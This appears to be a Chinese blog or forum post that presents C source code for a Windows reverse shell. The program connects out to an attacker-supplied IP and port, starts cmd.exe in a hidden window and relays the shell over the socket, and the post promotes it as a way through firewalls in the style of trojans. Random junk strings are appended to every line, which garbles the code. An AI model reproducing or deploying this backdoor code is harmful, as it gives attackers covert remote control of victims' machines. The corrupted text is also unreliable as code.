Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 B=7bQli}  
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/* ============================== . 3=WE@M  
Rebound port in Windows NT y^pk)`y8  
By wind,2006/7 RhnSQe  
===============================*/ bec n$R  
#include $
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#include }qG{1Er  
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#pragma comment(lib,"wsock32.lib") ,4jkTQ*@2  
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void OutputShell(); @xmO\  
SOCKET sClient; v6HBO#F'V{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iT%aAVs  
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void main(int argc,char **argv) hkJ4,
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{ (i1FMd}G  
WSADATA stWsaData; 1@P/h#_Vr  
int nRet; j=r`[Bm  
SOCKADDR_IN stSaiClient,stSaiServer; o  <0f  
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if(argc != 3) %8
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{ 4gb2$"!  
printf("Useage:\n\rRebound DestIP DestPort\n"); &kHp}\  
return; {^Vkxf
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} BP,"vq$'+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); gtyo~f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z2(z,pK  
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stSaiClient.sin_family = AF_INET; ixw3Z D(>+  
stSaiClient.sin_port = htons(0); &xgMqv2/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q$Ga
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bA@!0,m  
{ KF|+#qCN  
printf("Bind Socket Failed!\n");
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return; Z%y>q|:  
} !Sy._NE`z  
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stSaiServer.sin_family = AF_INET; P\tP0+at  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dD?1te  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ';hU&D;s  

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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o=_:g >5  
{ Sf B+;i'D  
printf("Connect Error!"); Yewn  
return; `L`qR,R  
} Ah;2\0|t  
OutputShell(); ;3U-ghj  
} &
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void OutputShell() -ZlBg~E  
{ zIi|z}WJ  
char szBuff[1024]; NEa:  
SECURITY_ATTRIBUTES stSecurityAttributes; X]U,`oE)9  
OSVERSIONINFO stOsversionInfo; J_C<Erx[O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (8TB*BhQ_  
STARTUPINFO stStartupInfo; C<?}?hhb  
char *szShell; KoRJ'
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PROCESS_INFORMATION stProcessInformation; {UX?z?0T
 
unsigned long lBytesRead; /1F%w8Iqh  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %%`Nq&'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'C8VD+p  
stSecurityAttributes.lpSecurityDescriptor = 0; QM2Y?."#  
stSecurityAttributes.bInheritHandle = TRUE; ;n%SjQ'%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E0'+]"B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =@AWw:!:,  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L3JFQc/oh~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yz=(zj  
stStartupInfo.wShowWindow = SW_HIDE; rdhK&5x*  
stStartupInfo.hStdInput = hReadPipe; =dx!R ,Bw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _Db=I3.HJ  
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GetVersionEx(&stOsversionInfo); <vJPKQ`=:  
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switch(stOsversionInfo.dwPlatformId) seC]=UJh#>  
{ Umjt~K^Z  
case 1: veAg?N<c p  
szShell = "command.com"; 'MRvH lCM  
break; $}_N379&  
default: bXF>{%(}E  
szShell = "cmd.exe"; %@#+Xpa+  
break; ^hzlR[  
} f uQbDb&  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #qrZ(,I@n  
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send(sClient,szMsg,77,0); id<i|  
while(1) lPx4=
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{ /ts=DxCC;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rl4B(NZi}  
if(lBytesRead) 7zXFQ|TP  
{ bO 2>ced  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,A`d!{]5  
send(sClient,szBuff,lBytesRead,0); 0{^vqh.La  
} zI$^yk-vn  
else Z"#eN(v.N  
{ <f.*=/]W2  
lBytesRead=recv(sClient,szBuff,1024,0); gF-<%<RV  
if(lBytesRead<=0) break; Zu`; S#Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h6<abT@I  
} $R(?@B(  
} to,DN2rN  
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return; 4YDK`:4I~  
}